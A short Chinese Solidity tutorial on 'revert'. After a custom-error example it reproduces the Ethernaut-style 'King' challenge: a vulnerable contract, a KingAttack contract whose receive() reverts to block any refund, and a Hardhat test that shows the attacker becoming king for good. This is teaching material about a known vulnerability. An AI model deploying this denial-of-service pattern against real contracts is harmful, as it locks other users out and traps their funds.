revert

1.和require类似,在一些复杂代码时可以结合error使用

// SPDX-License-Identifier: MIT
pragma solidity >= 0.6.0;
import "hardhat/console.sol";

contract Revert {
    error TooEarly(uint time);
    error TooLate(uint time);

    function test(uint t)external{
        if(t<100){
            revert TooEarly(t);
        }
        if(t>1000){
            revert TooLate(t);
        }
    }
}

2.通过revert阻止程序继续执行

// SPDX-License-Identifier: MIT
pragma solidity >= 0.6.0;
import "hardhat/console.sol";

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = payable(msg.sender);  
    king = payable(msg.sender);
    prize = msg.value;
  }

  receive() external payable {
    console.log("0.1");
    require(msg.value >= prize || msg.sender == owner);
    console.log("0.2");
    king.transfer(msg.value);
    console.log("0.3");
    king = payable(msg.sender);
    console.log("0.4");
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

pragma solidity >= 0.6.0;
import "hardhat/console.sol";

contract KingAttack{
    address public owner;
    constructor()public{
        owner = msg.sender;
    }

    function attack(address payable addr)public{
        console.log("1.0:",addr);
        (bool success, ) = addr.call{gas:1000000,value:1 ether}("");
        console.logBool(success);
    }

    receive() external payable{
        if(msg.sender!=owner){
            revert();
        }
        
    }
}

const { expect } = require("chai");
const { ethers } = require("hardhat");
const Tx = require("ethereumjs-tx");

contractName = "King";
attackContractName = "KingAttack";

describe(contractName, function () {
  it("test ", async function () {
    const Contract = await ethers.getContractFactory(contractName);
    const contract = await Contract.deploy();
    console.log("king:",await contract._king());
    console.log("prize:",await contract.prize());

    const ContractAttack = await ethers.getContractFactory(attackContractName);
    const contractAttack = await ContractAttack.deploy();
    [user1, user2] = await ethers.getSigners();
    const tx = await user1.sendTransaction({
        to: contractAttack.address,
        value: ethers.utils.parseEther("1.0"),
        });
    const balance = await ethers.provider.getBalance(contractAttack.address);
    console.log("attack balance:",balance)
    await contractAttack.attack(contract.address);

    const tx2 = await user2.sendTransaction({
        to: contract.address,
        value: ethers.utils.parseEther("2.0"),
        });
    console.log("new king:",await contract._king());
    console.log("new prize:",await contract.prize());

  });
});